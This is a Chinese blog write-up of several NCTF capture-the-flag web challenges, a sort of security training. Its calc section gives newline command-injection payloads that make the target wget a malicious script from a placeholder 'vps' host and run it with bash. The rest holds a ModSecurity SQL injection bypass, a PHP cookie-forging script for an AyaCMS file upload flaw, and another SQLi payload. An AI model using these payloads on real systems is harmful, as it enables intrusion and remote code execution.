NCTF web总结与复现

前言

打完NCTF休息了一下,总体感觉还行,学到了很多。

calc

这一题也卡了我很久,因为复现过DASCTF三月赛,一直在想着有没有可以替代反引号或绕过的方法,搞了好久都没出,在学长的提示下学到了一个方法,利用wget命令将自己的恶意脚本传到服务器上,然后再用bash命令调用。

有了这个提示后一直在尝试如何下载成功,但脚本中是这样的形式。

image-20221205193511587

可以在自己的虚拟机试一下,有了echo后无法直接echo wget xxx这样来下载。

如果仅仅以字符串直接传进去

'wget''%09''http://vps/feng123.sh'

会发现其会回显,然后也会传进log.txt中

wget http://vps/feng123.sh

在这里插入图片描述

也就是执行了echo wget xxx > ./tpm/log.txt这条命令,但是并不会将wget xxx当成命令来执行,只会将其当成echo命令的参数,而反引号和$()都被过滤,这时就要用到%0A了,换行符。

当我们将上边的命令左右两边加上%0a

%0A'wget'%09'http://vps/feng123.sh'%0A

image-20221205195243737

发现成功下载恶意脚本,这里思考一下为何会这样:

python调试不太会,只能自己稍微分析一下。

当加上换行符时:

命令执行后并不会在log.txt中留下痕迹,猜测一下,换行符其实是把之前一整个命令拆开,分成了两段。

先把过滤给去掉,然后还需要设计闭合一下前后代码防止其抛出异常。

'''1'%0Aecho `ls`> ./tmp/log2.txt%0A'ls'''

在这里插入图片描述

发现自己加进去那一条echo代码确实执行了,并且会发现前边那一条echo命令也执行成功了。

image-20221205201311687

然后继续尝试三段代码同时成功:(将主代码中的log.txt改为logs.txt)

'''2'%0Aecho `ls`> ./tmp/log2.txt%0A'echo'''

在这里插入图片描述

image-20221205201957499
在这里插入图片描述

三串代码全部执行,说明我的想法是没错的,接下来就可以直接远程下载恶意脚本,然后bash执行。

payload:

?num=%0A'wget'%09'http://vps/test.sh'%0A
?num=%0A'bash'%09'test.sh'%0A

ezbypass

第二个是一个sql注入绕过,hint提示waf是modsecurity,直接上网搜索sql modsecurity bypass。

SQLi bypass at PL1(CRS 3.2.0) · Issue #1727 · SpiderLabs/owasp-modsecurity-crs (github.com)

找到了绕过方法,然后就找password即可,因为题目直接给出了所在表,直接select查询即,本来我是直接查的是flag,但发现显示不存在,后边发现提示找password,所以找password字段即可。

payload:

?id=@.:=right(right((select%20hex(password)%20from%20users.info),1111),1111)%20union%23%0adistinctrow%0bselect@.

得到password后hex转码就是flag。

ez_php

在install.php中得到了版本为v3.1.2,然后在网上找到了相应的文件上传漏洞,但是还需要管理员密码,尝试爆破未成功。

然后就是伪造cookie,网上的脚本。

<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){
	$hash='';
	$max=strlen($chars)-1;
	for($i=0;$i<$length;$i++)
		{
			$hash.=$chars[mt_rand(0,$max)];
		}
		return $hash;
	}
	function encrypt($txt,$key=''){
		$key or $key=AYA_KEY;
		$rnd=random(32);
		$len=strlen($txt);
		$ctr=0;
		$str='';
		for($i=0;$i<$len;$i++){
			$ctr=$ctr==32?0:$ctr;
			$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);
		}
		return str_replace('=','',base64_encode(kecrypt($str,$key)));
	}
	function kecrypt($txt,$key){
		$key=md5($key);
		$len=strlen($txt);
		$ctr=0;
		$str='';
		for($i=0;$i<$len;$i++){
			$ctr=$ctr==32?0:$ctr;
			$str.=$txt[$i]^$key[$ctr++];
		}
		return $str;
	}

echo encrypt("../module/admin/fst_upload", 'aaa');

然后利用漏洞文件上传。

AyaCMS v3.1.2 has a Frontend Arbitrary File Upload Vulnerability · Issue #4 · loadream/AyaCMS (github.com)

ez_sql

这一题很无语,找到了类似的题,但并不理解。

Hack. lu CTF 2022 筆記 - Huli

结束后看了其他师傅们的payload:

?id=1&?=`in%20()%20union%20select%201,flag%20from%20flag;

看来找对地方也不一定能看懂人家的讲解,太fw了。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值